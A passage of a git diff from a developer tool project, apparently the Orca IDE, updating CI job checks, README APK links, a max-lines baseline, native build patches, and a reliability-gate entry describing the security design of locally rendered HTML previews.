             exit 1
           fi
+          if [ "$ROOT_DIRECTORY_GUARD" != "success" ]; then
+            exit 1
+          fi
           if [ "$SHOULD_RUN" != "true" ]; then
             echo "Docs-only change; expensive PR checks skipped."
-            if [ "$ROOT_DIRECTORY_GUARD" != "success" ]; then
-              exit 1
-            fi
-            for result in \
-              "$STATIC_ANALYSIS" \
-              "$TYPECHECK" \
-              "$GIT_COMPATIBILITY" \
-              "$XTERM_PATCH_SYNC" \
-              "$SHELL_CONTRACTS" \
-              "$TEST" \
-              "$ORCAD_BROWSER" \
-              "$MANAGED_HOOK_NODE18" \
-              "$PACKAGE" \
-              "$PACKAGE_WINDOWS"; do
-              if [ "$result" != "skipped" ]; then
-                exit 1
-              fi
-            done
-            exit 0
           fi
-          # Require success when the PR has code-relevant changes
-          for result in \
-            "$CODE_PATHS" \
-            "$STATIC_ANALYSIS" \
-            "$ROOT_DIRECTORY_GUARD" \
-            "$TYPECHECK" \
-            "$GIT_COMPATIBILITY" \
-            "$XTERM_PATCH_SYNC" \
-            "$SHELL_CONTRACTS" \
-            "$TEST" \
-            "$ORCAD_BROWSER" \
-            "$MANAGED_HOOK_NODE18" \
-            "$PACKAGE" \
-            "$PACKAGE_WINDOWS"; do
-            if [ "$result" != "success" ]; then
-              exit 1
+          failed=0
+          check_job() {
+            local name="$1" result="$2" should="$3"
+            if [ "$should" = "true" ]; then
+              if [ "$result" != "success" ]; then
+                echo "$name: expected success, got $result"
+                failed=1
+              fi
+            else
+              if [ "$result" != "skipped" ]; then
+                echo "$name: expected skipped, got $result"
+                failed=1
+              fi
             fi
-          done
+          }
+          # Require success when the PR has code-relevant changes
+          check_job static_analysis "$STATIC_ANALYSIS" "$STATIC_ANALYSIS_SHOULD_RUN"
+          check_job typecheck "$TYPECHECK" "$TYPECHECK_SHOULD_RUN"
+          check_job git_compatibility "$GIT_COMPATIBILITY" "$GIT_COMPATIBILITY_SHOULD_RUN"
+          check_job xterm_patch_sync "$XTERM_PATCH_SYNC" "$XTERM_PATCH_SYNC_SHOULD_RUN"
+          check_job shell_contracts "$SHELL_CONTRACTS" "$SHELL_CONTRACTS_SHOULD_RUN"
+          check_job test "$TEST" "$TEST_SHOULD_RUN"
+          check_job orcad_browser "$ORCAD_BROWSER" "$ORCAD_BROWSER_SHOULD_RUN"
+          check_job cross-version-wire "$CROSS_VERSION_WIRE" "$CROSS_VERSION_WIRE_SHOULD_RUN"
+          check_job managed_hook_node18 "$MANAGED_HOOK_NODE18" "$MANAGED_HOOK_NODE18_SHOULD_RUN"
+          check_job package "$PACKAGE" "$PACKAGE_SHOULD_RUN"
+          check_job package_windows "$PACKAGE_WINDOWS" "$PACKAGE_WINDOWS_SHOULD_RUN"
+          exit "$failed"
diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml
new file mode 100644
index 00000000000..9906b569324
--- /dev/null
+++ b/.github/workflows/unit-tests.yml
@@ -0,0 +1,59 @@
+name: Unit tests
+
+on:
+  workflow_call:
+    inputs:
+      node_versions:
+        description: JSON array of Node.js major versions to test.
+        required: true
+        type: string
+
+permissions:
+  contents: read
+
+jobs:
+  test:
+    name: tests node ${{ matrix.node }} ${{ matrix.shard }}/${{ matrix.shard_total }}
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        node: ${{ fromJSON(inputs.node_versions) }}
+        shard: [1, 2, 3, 4, 5, 6, 7, 8]
+        shard_total: [8]
+
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v6
+        with:
+          persist-credentials: false
+
+      - uses: ./.github/actions/install-node-dependencies
+        with:
+          native-runtime: node
+          node-version: ${{ matrix.node }}
+
+      - name: Install Electron package binary for tests
+        run: node config/scripts/install-electron-package-binary.mjs
+
+      - name: Test shard
+        run: |
+          pnpm exec vitest run --config config/vitest.config.ts \
+            --exclude=src/main/daemon/repro-13767-shell-ready-marker-lost-to-exec.test.ts \
+            --exclude=src/main/daemon/shell-ready.test.ts \
+            --exclude=src/main/daemon/node-pty-fd-leak.test.ts \
+            --exclude=src/main/providers/local-pty-shell-ready-zsh-launch-environment.test.ts \
+            --exclude=src/main/providers/__tests__/shell-ready-framework-example.test.ts \
+            --exclude=src/main/pty/omp-shell-wrapper.node-pty.test.ts \
+            --exclude=src/main/shell-startup-feature-channel.test.ts \
+            --exclude=src/main/terminal-history-fish-session.node-pty.test.ts \
+            --exclude=src/main/zsh-scoped-histfile.live-shell.test.ts \
+            --exclude=src/main/zsh-startup-hook-user-config-equivalence.live-shell.test.ts \
+            --exclude=src/main/zsh-wrapper-version-mismatch.live-shell.test.ts \
+            --exclude=src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts \
+            --exclude=src/shared/fish-query-reply-child-stdin.node-pty.test.ts \
+            --exclude=src/shared/pty-reply-echo-shapes.node-pty.test.ts \
+            --exclude=src/shared/startup-shell-portability.live-shell.test.ts \
+            --exclude=src/shared/posix-command-path-lookup.test.ts \
+            --exclude=tests/e2e/cross-version-wire/** \
+            --shard=${{ matrix.shard }}/${{ matrix.shard_total }}
diff --git a/README.md b/README.md
index 8d0b9e79653..8de0ff8d2b9 100644
--- a/README.md
+++ b/README.md
@@ -36,7 +36,7 @@
 
 Monitor and steer your agents from your phone — get notified when an agent finishes and send follow-ups from anywhere.
 
-[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.44](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
+[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.46](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
 
 </td>
 <td width="50%">
@@ -230,7 +230,7 @@ yay -S stably-orca-bin
 Pair with your desktop app to monitor and steer your agents from your phone.
 
 - **iOS:** [Download on the App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) or [join TestFlight](https://testflight.apple.com/join/YjeGMQBA)
-- **Android:** [Download APK 0.0.44](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [Install guide](https://www.onorca.dev/docs/android-apk)
+- **Android:** [Download APK 0.0.46](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [Install guide](https://www.onorca.dev/docs/android-apk)
 
 ---
 
diff --git a/config/max-lines-baseline.txt b/config/max-lines-baseline.txt
index 664bb4c28b3..75e536a2198 100644
--- a/config/max-lines-baseline.txt
+++ b/config/max-lines-baseline.txt
@@ -2,17 +2,13 @@
 # This is a RATCHET: the list may only SHRINK. Do NOT add entries to get CI green —
 # split the oversized file instead (AGENTS.md → "Do Not Disable Max Lines").
 # Regenerate/prune: pnpm check:max-lines-ratchet --prune   (removes stale entries only)
-inline src/cli/handlers/automations.ts
-inline src/cli/help.ts
 inline src/main/agent-hooks/server.ts
 inline src/main/automations/external-manager.ts
-inline src/main/automations/hermes-cron-output.ts
 inline src/main/browser/agent-browser-bridge.ts
 inline src/main/browser/browser-cookie-import.ts
 inline src/main/browser/browser-manager.ts
 inline src/main/browser/cdp-bridge.ts
 inline src/main/claude-accounts/runtime-auth-service.ts
-inline src/main/cli/wsl-cli-installer.ts
 inline src/main/codex-accounts/runtime-home-service.ts
 inline src/main/codex-accounts/service.ts
 inline src/main/codex/hook-service.ts
@@ -23,14 +19,7 @@ inline src/main/index.ts
 inline src/main/ipc/filesystem-watcher.ts
 inline src/main/ipc/filesystem.ts
 inline src/main/ipc/worktree-remote.ts
-inline src/main/keybindings/keybinding-file.ts
-inline src/main/linear/issues.ts
-inline src/main/memory/collector.ts
-inline src/main/ports/advertised-url-watcher.ts
-inline src/main/ports/local-workspace-port-scanner.ts
-inline src/main/project-groups/nested-repo-discovery.ts
 inline src/main/providers/local-pty-provider.ts
-inline src/main/rate-limits/claude-pty.ts
 inline src/main/rate-limits/service.ts
 inline src/main/runtime/orca-runtime-browser.ts
 inline src/main/runtime/orca-runtime-files.ts
@@ -52,7 +41,6 @@ inline src/relay/git-handler.ts
 inline src/relay/pty-handler.ts
 inline src/relay/workspace-space-scan.ts
 inline src/renderer/src/components/GitLabItemDialog.tsx
-inline src/renderer/src/components/JiraIssueWorkspace.tsx
 inline src/renderer/src/components/LinearItemDrawer.tsx
 inline src/renderer/src/components/TaskPage.tsx
 inline src/renderer/src/components/Terminal.tsx
@@ -61,15 +49,12 @@ inline src/renderer/src/components/activity/ActivityPrototypePage.tsx
 inline src/renderer/src/components/automations/AutomationsPage.tsx
 inline src/renderer/src/components/editor/CombinedDiffViewer.tsx
 inline src/renderer/src/components/editor/MarkdownPreview.tsx
-inline src/renderer/src/components/feature-wall/EditorAnimatedVisual.tsx
 inline src/renderer/src/components/floating-terminal/FloatingTerminalPanel.tsx
 inline src/renderer/src/components/new-workspace/SmartWorkspaceNameField.tsx
-inline src/renderer/src/components/onboarding/use-onboarding-flow.ts
 inline src/renderer/src/components/right-sidebar/PortsPanel.tsx
 inline src/renderer/src/components/settings/AccountsPane.tsx
 inline src/renderer/src/components/settings/RuntimeEnvironmentsPane.tsx
 inline src/renderer/src/components/settings/Settings.tsx
-inline src/renderer/src/components/sidebar/use-workspace-kanban-area-selection.ts
 inline src/renderer/src/components/status-bar/ResourceUsageStatusSegment.tsx
 inline src/renderer/src/components/status-bar/StatusBar.tsx
 inline src/renderer/src/components/status-bar/WorkspaceSpaceManagerPanel.tsx
@@ -82,40 +67,25 @@ inline src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts
 inline src/renderer/src/lib/pane-manager/pane-tree-ops.ts
 inline src/renderer/src/runtime/remote-runtime-terminal-multiplexer.ts
 inline src/renderer/src/runtime/runtime-file-client.ts
-inline src/renderer/src/runtime/runtime-linear-client.ts
 inline src/renderer/src/runtime/sync-runtime-graph.ts
 inline src/renderer/src/runtime/web-runtime-session.ts
 inline src/renderer/src/runtime/web-session-tabs-sync.ts
 inline src/renderer/src/store/slices/agent-status.ts
 inline src/renderer/src/store/slices/browser.ts
-inline src/renderer/src/store/slices/diffComments.ts
-inline src/renderer/src/store/slices/hosted-review.ts
 inline src/renderer/src/store/slices/linear.ts
 inline src/renderer/src/store/slices/tabs.ts
 inline src/renderer/src/store/slices/ui.ts
-inline src/shared/automation-schedules.ts
-inline src/shared/commit-message-agent-spec.ts
-inline src/shared/constants.ts
 inline src/shared/keybindings.ts
-inline src/shared/marine-creatures.ts
 inline src/shared/telemetry-events.ts
-inline src/shared/text-search.ts
-inline tests/e2e/helpers/terminal.ts
 mobile-config app/h/*/files/*.tsx
 mobile-config app/h/*/index.tsx
 mobile-config app/h/*/session/*.tsx
 mobile-config app/h/*/source-control/*.tsx
 mobile-config app/h/*/tasks.tsx
 mobile-config app/index.tsx
-mobile-config app/pair-scan.tsx
 mobile-config app/troubleshoot.tsx
 mobile-config scripts/mock-server.ts
-mobile-config scripts/repro-terminal-colors.ts
-mobile-config scripts/repro-worktree-startup-stream.ts
 mobile-config src/browser/MobileBrowserPane.tsx
-mobile-config src/components/CustomKeyModal.tsx
 mobile-config src/components/NewWorktreeModal.tsx
-mobile-config src/components/mobile-rich-markdown-editor-html.ts
-mobile-config src/terminal/terminal-accessory-keys.ts
 mobile-config src/terminal/terminal-webview-html.ts
 mobile-config src/transport/rpc-client.ts
diff --git a/config/patches/@vscode__windows-process-tree@0.8.0.patch b/config/patches/@vscode__windows-process-tree@0.8.0.patch
index 8e6e8e86e25..65cf2be5ce4 100644
--- a/config/patches/@vscode__windows-process-tree@0.8.0.patch
+++ b/config/patches/@vscode__windows-process-tree@0.8.0.patch
@@ -1,26 +1,31 @@
 diff --git a/binding.gyp b/binding.gyp
-index 855bd4b86f0a3c18c7594212c0e42b6e35bc4001..5f15551cb1520af996f216500a83ac68b57f5104 100644
+index 855bd4b86f0a3c18c7594212c0e42b6e35bc4001..33774e7ae296f0de39dd94156673c9e773638bf4 100644
 --- a/binding.gyp
 +++ b/binding.gyp
-@@ -3,7 +3,7 @@
+@@ -3,7 +3,6 @@
      {
        "target_name": "windows_process_tree",
        "dependencies": [
 -        "<!(node -p \"require('node-addon-api').targets\"):node_addon_api_except",
-+        "<!(node -p \"require.resolve('node-addon-api/node_addon_api.gyp')\"):node_addon_api_except",
        ],
        "conditions": [
          ['OS=="win"', {
-@@ -16,9 +16,6 @@
+@@ -15,14 +14,13 @@
+             "src/process_commandline.cc"
            ],
-           "include_dirs": [],
+-          "include_dirs": [],
++          "include_dirs": ["deps/node-addon-api"],
++          "defines": ["NAPI_CPP_EXCEPTIONS", "_HAS_EXCEPTIONS=1"],
            "libraries": [ 'psapi.lib' ],
 -          "msvs_configuration_attributes": {
 -            "SpectreMitigation": "Spectre"
 -          },
            "msvs_settings": {
              "VCCLCompilerTool": {
++              "ExceptionHandling": 1,
                "AdditionalOptions": [
+                 "/guard:cf",
+                 "/sdl",
 diff --git a/src/process.cc b/src/process.cc
 index 3eea92077c4d1d433119361d5c432881859131e9..1998f4addd4d7e9aba946ea6f7f7a4a5d13291bc 100644
 --- a/src/process.cc
diff --git a/config/patches/node-pty@1.1.0.patch b/config/patches/node-pty@1.1.0.patch
index c5c35191f35..f8ddaae9104 100644
--- a/config/patches/node-pty@1.1.0.patch
+++ b/config/patches/node-pty@1.1.0.patch
@@ -2,13 +2,21 @@ diff --git a/binding.gyp b/binding.gyp
 index 5f63978b07ab50aaf7523219a2170ec737a6b5db..bbd9e06136e8922f40b5779e35d4fc835f1479ab 100644
 --- a/binding.gyp
 +++ b/binding.gyp
-@@ -1,13 +1,10 @@
+@@ -1,13 +1,18 @@
  {
    'target_defaults': {
      'dependencies': [
 -      "<!(node -p \"require('node-addon-api').targets\"):node_addon_api_except",
 +      "<!(node -p \"require.resolve('node-addon-api/node_addon_api.gyp')\"):node_addon_api_except",
      ],
++    # Orca: GCC 9 (Ubuntu 20.04 floor) accepts C++20 as gnu++2a, but rejects
++    # the newer gnu++20 spelling emitted by Node 24's gyp flags.
++    'cflags_cc!': [
++      '-std=gnu++20'
++    ],
++    'cflags_cc': [
++      '-std=gnu++2a'
++    ],
      'conditions': [
        ['OS=="win"', {
 -        'msvs_configuration_attributes': {
diff --git a/config/reliability-gates.jsonc b/config/reliability-gates.jsonc
index ac37e3760b9..02bd0b02bc2 100644
--- a/config/reliability-gates.jsonc
+++ b/config/reliability-gates.jsonc
@@ -2817,16 +2817,16 @@
     },
     {
       "id": "browser-session.remote-html-preview-ownership",
-      "title": "Paired HTML previews keep one host page and one stable client split",
+      "title": "Paired HTML previews render locally as document browser tabs and create no host browser page",
       "maturity": "experimental",
       "protection": "partial",
       "owner": "browser-runtime",
       "layer": "renderer-paired-runtime-reconciliation",
       "surfaces": [
-        "paired remote HTML file preview",
-        "background preview creation and explicit browser activation",
-        "client-only split placement",
-        "capability-unknown and mixed-version preview rejection cleanup",
+        "paired HTML file preview served locally over the orca-preview scheme",
+        "preview split placement that leaves editor focus alone",
+        "grant-scoped document reads, including truncation and out-of-worktree refusal",
+        "capability-unknown and mixed-version browser-creation rejection cleanup",
         "post-create reconciliation failure and compensating rollback",
         "remote browser close convergence"
       ],
@@ -2834,8 +2834,9 @@
       "providers": ["remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["remote-runtime"],
-      "coverageNotes": "A headed macOS desktop host and separate paired client exercise the Explorer eye-button path with a real remote file URL, host browser DOM, renderer split layout, background preview creation, explicit browser activation, browser close, forced capability rejection after caller preflight, a forced post-create reconciliation timeout, and navigation held beyond the client create deadline. The same reconciliation fault oracles pass against a live headless server. Unit contracts cover absent, unknown, and mixed-version capabilities, visible rejection, empty-split cleanup, owning-runtime routing, canonical preallocated page identity, navigation-independent acknowledgement, exact client materialization, confirmed rollback, ambiguous cleanup, and teardown. Linux and Windows live journeys remain gaps.",
+      "coverageNotes": "A macOS desktop host and a separate paired Electron client exercise the Explorer preview action end to end: the document renders inside the client-local orca-preview guest, the client gains exactly one browser workspace and it is the document one, the host's own page registry and tab snapshot gain nothing, the split does not take focus from the source editor, an explicit click activates the preview, and closing it with its X leaves the editor and terminal intact. Both host oracles are read in a run where an ordinary URL browser tab from the same client does arrive in them, because a host that cannot project browser pages at all would otherwise answer the absence question the same way. A second journey quits that client with a document tab open and relaunches it on the same profile, which is the restore the user's original report turned on: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit. The same journey pins the guest URL to the orca-preview scheme, so a regression back to file:// or to a host browser page is visible. The rewritten journey caught a live gap the old one could not see: since previews became browser pages they had no chrome to hand focus to their guest, so main refused every reported link click as coming from an unfocused guest and the one route out of a preview was dead. Main's own log answered it — registered true, grant live, focused false — after the embedder reported the anchor really taking six real presses. The pane now hands focus over when it is the reader's surface, and the journey routes. The preview's own components moved out of the editor folder into browser-pane/workspace-doc/ with this change, since a preview is a browser pane and no longer an editor one; their i18n keys keep the historical auto.components.editor.HtmlDocPreview prefix rather than dropping thirty translated strings across four locales for a tidier key path. Seven gate commands named those files by their old paths and were re-issued at the new ones, and the nine dated runs behind them were retired rather than left naming files that are no longer there, on the same principle this gate already applied twice: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. Each retired record's finding is carried into the replacement run recorded below it, including the red half of the entry/subresource pair, which was re-measured by re-applying its mutant at the new path rather than being dropped. The fence over the page-management channels was decided channel by channel before it was built, and that decision record is: of the 23 channels that can name a page, 6 are allowed for a workspace-document page — the tool channels the reader drives, which reach it through the one authority that reads both halves of the registry — 9 refuse (download accept and cancel, devtools, certificate proceed, client page metadata publish, viewport override, WebAuthn account response, registration probe, registration repair), 3 cannot name a page at all because they take a profile or a worktree instead, and the rest are the registration and activation doors, refused on membership. What shipped is not the per-channel guard that classification implies: eleven call sites read the browsing map directly, so a guard per channel is exactly the caller-flag seam that has to be remembered at every future call site. The registry was split in two instead, which makes the classification structural — a document guest is absent from the browsing map, so every refusing channel refuses by absence rather than by a guard, and a channel added later inherits the refusal without being classified at all. Unit contracts cover grant scoping and path containment, per-owner read routing, refusal of a truncated or over-cap read, the old-server binary degradation, scheme admission on will-attach-webview, the guest navigation policy, the plan layer's local/SSH/paired/out-of-worktree routing, and the distinct sentence the reader sees for each failure reason. The paired browser-creation surfaces this gate still owns — capability rejection cleanup, canonical page identity, reconciliation rollback, close convergence — keep their existing headed and headless journeys. Linux and Windows live journeys remain gaps. A refused subresource is a notice on a rendered document rather than a failure panel, since only the entry document's failure leaves the reader with nothing; the entry document is served as text by every owner and cannot be refused for its format at all. Grants die with the renderer document that minted them, at window creation and on every reload, because the renderer holds the only record of which preview owns which grant. The mint and revoke channels answer only the trusted renderer, and a preview tab is never republished to mobile clients, which have no grant to read it with. External URLs leave the preview only via a trusted user click on an anchor while the preview is focused; script-driven navigation and popups reach nothing. The guest's navigation sinks are deny-only and route no URL at all, and the guest carries a preview-only preload, pinned by will-attach-webview and denied to every other attach path, whose capture-phase click handler reports an anchor's URL to main; main answers only a report from a preview guest with a live bound grant that is the focused contents, and only for http(s). Two earlier reader-facing records from 2026-08-26, which measured a shape where a subresource failure was filtered out and the panel still carried an unsupported-asset sentence, were retired with that shape rather than left contradicting the 10/10 runs of the command they share. Two more were retired on the same principle when the external-link design changed: a record showing that removing a recent-input gate let the unattended document open two browser tabs, and a record showing that dropping the webview's allowpopups attribute left a target=_blank press with nothing to route. Both measured machinery that no longer exists — the input gate could not tell a script's navigation from the click it followed, which is the case now recorded below, and the preload intercepts the press before Chromium considers a popup at all, so allowpopups was removed. WebRTC is fenced by the guest's IP-handling policy alone: this Chromium answers a webrtc content-security-policy directive as unrecognized and gathers candidates anyway, so the directive is deliberately absent from the served policy and a unit assertion keeps it out. A standalone Electron probe on the same version gathered 7 candidates including a STUN reflexive one without the policy and 0 with it. Two command paths this gate used to carry no longer exist, and their structured evidence was retired with them rather than left naming files that are no longer there: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. The first is src/renderer/src/lib/file-preview-capability-cleanup.test.ts, deleted in STA-5557 when HTML previews stopped creating paired browser tabs: on 2026-08-12 its five-assertion STA-4063 oracle ran red 5/5 on scan e4c278eb52 and on main bc2e30000b, partially green 2/5 on pre-fix PR #14100, and green 5/5 on candidate 14b5877a75; the surviving half of that oracle is web-runtime-browser-capability-cleanup.test.ts, still commanded above. The second is tests/e2e/paired-remote-html-browser-focus.spec.ts, renamed in STA-5557 to paired-remote-html-preview-local-render.spec.ts because the journey no longer proves anything about browser focus: its 2026-08-12 runs established the owning-runtime routing and no-focus-steal behavior of the then-current browser-tab preview (red on main 346e59c879 and a90a18d43d, green on candidates d05217c40d and b7de9c0961, red again with only the side-preview focus or routing seam disabled), and its 2026-08-26 runs are recorded below under the current path. An adversarial pass after the journey landed found four coverage gaps rather than shipping defects, and all four are pinned here. The page url had a third door: the navigation commit wrote whatever url was reported, unfenced, and while nothing reaches it for a document page today it sat one report away from giving a document page a URL that persistence, the publish boundary and the address bar all read. The group projection was the load-bearing half of the mobile publish boundary that no test had: removing it alone left the whole suite green, because no test in it had tab groups, while the phone payload gained a group whose order and active tab named a document tab it was never sent. The focus handoff was covered only in the narrowing direction, so widening it — dropping the page-activity check, or either half of the reader-surface check — survived both suites. And the handoff itself was offered once and never again, so another app taking the front left the preview's one route out shut until the pane remounted, which is a desktop gap rather than a test-only one.",
       "motivatingLinks": [
+        "https://linear.app/stably/issue/STA-5557/remote-html-preview-render-workspace-files-locally-over-the-file",
         "https://linear.app/stably/issue/STA-3872/unable-to-open-html-files-in-remote-server",
         "https://linear.app/stably/issue/STA-4025/p1-browser-create-reports-success-when-tab-reconcile-fails-after-pr",
         "https://linear.app/stably/issue/STA-4063/p1-paired-html-preview-rejects-outside-cleanup-after-pr-13909",
@@ -2843,19 +2844,35 @@
         "https://github.com/stablyai/orca/pull/14363",
         "https://github.com/stablyai/orca/pull/13876"
       ],
-      "invariant": "Opening one HTML preview from a paired client succeeds only after exactly one browser page on the worktree-owning runtime materializes as exactly one client browser workspace and unified tab in the requested group. Owner-pinned creation returns the canonical host page identity before navigation readiness; delayed navigation cannot turn a created page into an unidentifiable failure or a duplicate retry. Capability rejection before host mutation must preserve the original error, issue no RPC, surface a failure toast, and remove only a caller-declared newly-created empty split. Post-create reconciliation failure requires exact rollback; ambiguous rollback rejects without local fallback. Preview focus and close preserve the source editor and terminal.",
-      "oracle": "Run one unchanged contract oracle for direct create and side-preview callers with absent status, unknown capabilities, and a mixed-version host. Require the original unsupported error or visible toast, zero RPCs, and no retained new split. Run it on the scan target, latest main, candidate, and candidate with the cleanup boundary disabled. In headed paired Electron, arm capability rejection after the caller preflight, invoke the visible HTML side-preview action, require the failure toast, and compare exact host/client browser, editor, terminal, and group inventories to baseline. Hold a real navigation response beyond the 15-second client deadline after host creation; require the first RPC to return the exact host inventory page ID, one host page, and no retry. Repeat reconciliation faults against headless serve. Retain the separate exact-page reconciliation rollback oracle.",
+      "invariant": "Opening one HTML preview from a paired client renders the workspace document in exactly one client-local browser tab, located by that document and served over the orca-preview scheme. The client gains exactly that one browser workspace and it is the document one — blank where a URL page carries a URL, named by the document, with the chip naming the file — while the host gains no browser page at all, neither in its own page registry nor in the tab snapshot its clients publish into. The preview occupies its own split without taking focus from the source editor; an explicit click activates it, and closing it removes only the preview. Following a document from a file link is the other half of that switch and does move the reader to it, tab group included, whether the preview is new or already open, because opening a file is a request to look at it. A document tab quit with the client comes back as the same row on a grant the relaunched client mints afresh. A preview is named by the browser page it is open in, not by a namespace of its own, and the page registry has two halves: a workspace-document guest is registered in its own map and is absent from the browsing one entirely. That absence is the fence. Page, session and profile management, agent tab enumeration and command targeting, download routing and certificate attribution all read the browsing map directly, in more places than a per-channel guard could be remembered in, so none of them can name a document page and none of them carries a guard. Browser tools the reader drives (element grab, hover describe, selection capture, the annotation viewport bridge) are the one operation that legitimately spans the halves, and they go through the single authority that reads both, keyed by the page and its hosting renderer. The halves are disjoint in both directions: browsing registration refuses a page the document half already holds, and minting a grant refuses a page the browsing half already holds, so one id can never name a surface in both. The headless backend acts on that refusal by destroying the window it had already opened rather than leaving a policy-less page behind an id nothing can drive, keeping nothing under that id for its own shutdown to hand back. Registration refuses on the same terms when the guest it was asked about is already gone. The exit door is guarded in both its halves: a preview withdraws by revoking its grant and never through the unregister channel, so a page the document half holds arriving there is refused before either the registration teardown or the grab-state disposal beside it, which would otherwise drop the intent an in-flight preview grab compares by identity and leave that grab answering ok without ever arming its guest. A bridge request whose guest does not resolve is refused without tearing down the page it named, so a misaddressed request cannot cancel a healthy page's in-flight downloads and grabs. The annotation viewport bridge resolves its guest when its serialized op actually runs rather than when the request arrived, so a cross-process navigation while it waited cannot leave the bridge installed in a retired guest while the reader looks at a new one. State main keys by a preview's page is disposed when that page's grant is revoked, which is the only signal a preview's surface is gone. A tool asking for a page whose guest has not attached yet waits for that registration and arms when it arrives, rather than answering not-ready at the reader; that wait resolves only the request already naming this page, never the worktree-wide or any-tab waits the CLI and agents use to ask for a browser tab to drive. Handing the previewed document to the reader's own machine routes on the owners its grant was minted against — the file's own connection owner and the worktree's own runtime owner, neither read from the tab's stored fields. Only a document proven to live on this machine reaches the client OS; one with a resolved remote owner is downloaded first; and one whose owner cannot be resolved at all, workspace root included, is refused with a message naming that, because the download route would otherwise read the same absolute path on the client and hand back a same-named local file under the remote document's name. A runtime-owned path that falls outside its worktree root is refused by that route itself and surfaces as a failure toast rather than a download. Nothing the document does writes a file to this machine either: the preview partition denies downloads outright instead of routing them through the browser download flow, which has no page to attribute a preview's bytes to and would otherwise reserve a name in this desktop's Downloads folder and write them there unprompted. That refusal is visible to the reader and invisible to the document: the preview's shell carries a fixed sentence saying downloads are off, published at most once per preview per interval so a document asking in a loop cannot fill Orca's chrome, while the page itself gets back exactly what it got before, which is nothing. The sentence names no file, because the document chooses the name it offers; and a refusal never takes the document away the way an entry document's own failure does, whatever it names. A preview is a browser tab, not an editor tab in a preview mode: it is named the way a browser tab is named — by the document it shows when that document declares a title, and by the file it shows when it does not — while the chip goes on naming the file and the host whatever the document calls itself. A title is refused on the same terms the url is: a document that declares none has Chromium report the grant URL as its title, and that title is stored, mirrored onto the tab and written to disk, so anything carrying the scheme falls back to the file instead. It is created by the preview action as a page located by its document, it carries the workspace-relative path copy the editor's path header owned, and closing it revokes the grant that made the document readable while a URL tab closing beside it revokes nothing. Chrome persisted by builds that made previews editor tabs is dropped on restore rather than coming back naming a surface no restore can produce, and the ordinary editor tab for the same document is left alone. A document tab is held back at the mobile publish boundary — no client holds its grant, and the wire has no tab kind for it — while an ordinary browser tab beside it still publishes. It is held back from the group projection that publishes tab order, recency and group activity as well as from the tab list itself, so no published group names a tab the phone is never sent. A browser page can be located by a workspace document instead of a URL, and the document is the whole of its stored identity. The grant and the orca-preview URL that document is served over are minted when the page mounts and replaced by a hard reload, so neither is ever written to the page's url, mirrored onto its tab, persisted or published: such a page's url is the blank URL from creation through restore, including when a session written elsewhere carries a grant URL in, and what the session carries is the worktree and path a restored page mints afresh against today's owners. Every door onto a page's url holds that line — creation, the title update, and the navigation commit alike — so a report about a document page cannot give it a URL it never had, and the title fallback and the loading affordance follow the url each door actually wrote. The mirror carries the document too, so a tab entry cannot go on naming a document its active page has left. Every guest in the app is policy-attached through one door: a workspace document takes a restricted profile there rather than a separate installer beside it, so the attachment bookkeeping that door owns — what registration refuses, and what teardown frees — covers a preview on the same terms as a browsing page, and a preview takes none of the browsing machinery that door installs. That authority answers from the moment the embedder hands the guest over rather than only after a later navigation: the guest binds to the grant it is already showing, so the tools reach the document the reader opened and not just one they navigated to. A read the host reports as truncated or over-cap is refused rather than served partially, and a document outside the paired worktree is refused with a message naming that boundary instead of a bare read failure. The rendered document reaches nothing off-machine on its own: every served response carries a self-only content security policy, the preview session cancels any request that is not in-document, subframes cannot navigate outside the grant, a guest no document has yet bound to a grant may not navigate at all, the guest gathers no ICE candidates, and an SSH path that canonicalizes outside the grant root is refused before it is read. The one route out is a link the reader presses: a trusted click on an anchor, reported by the preview's own preload from a guest still bound to a live grant, leaves as an Orca browser tab rather than a native window or a dead click — and only after the reader confirms the exact destination URL, so a document cannot spend a single stray press exfiltrating what it can read into a link it authored. The preview hands its guest that focus itself whenever it is the surface the reader is in — a browsing page gets it from the chrome around it, and a preview has no chrome to get it from — and it does so only then, so a preview mounted behind a terminal or an editor never takes the keyboard from what the reader is actually in. It offers again when the window itself takes focus back and nothing in the embedder has claimed that focus, because another app coming to the front lands focus on the embedder rather than the guest and the route out would otherwise stay shut until something remounted the pane — while the same window focus also arrives when the reader presses a tab, that being the guest's own blur returning, and taking focus back from there would fight the reader for their own click. Nothing else does. A navigation or popup the document starts by itself is swallowed whatever else is happening, including immediately after a genuine press elsewhere in the document, so a page that can read its grant cannot hand it to a browser tab; a middle click opens nothing; and a fragment link is answered inside the document. A preview attach carries the preview preload and no renderer-supplied one, and no other attach path can acquire it. A subresource the workspace will not send degrades the document to a notice naming that file, never to a failure panel over a page that rendered. A grant outlives neither the tab that owns it nor the renderer document that minted it, and only the trusted renderer can mint or revoke one. For the browser creations this gate still owns, owner-pinned creation returns the canonical host page identity before navigation readiness; delayed navigation cannot turn a created page into an unidentifiable failure or a duplicate retry. Capability rejection before host mutation must preserve the original error, issue no RPC, surface a failure toast, and remove only a caller-declared newly-created empty split. Post-create reconciliation failure requires exact rollback; ambiguous rollback rejects without local fallback.",
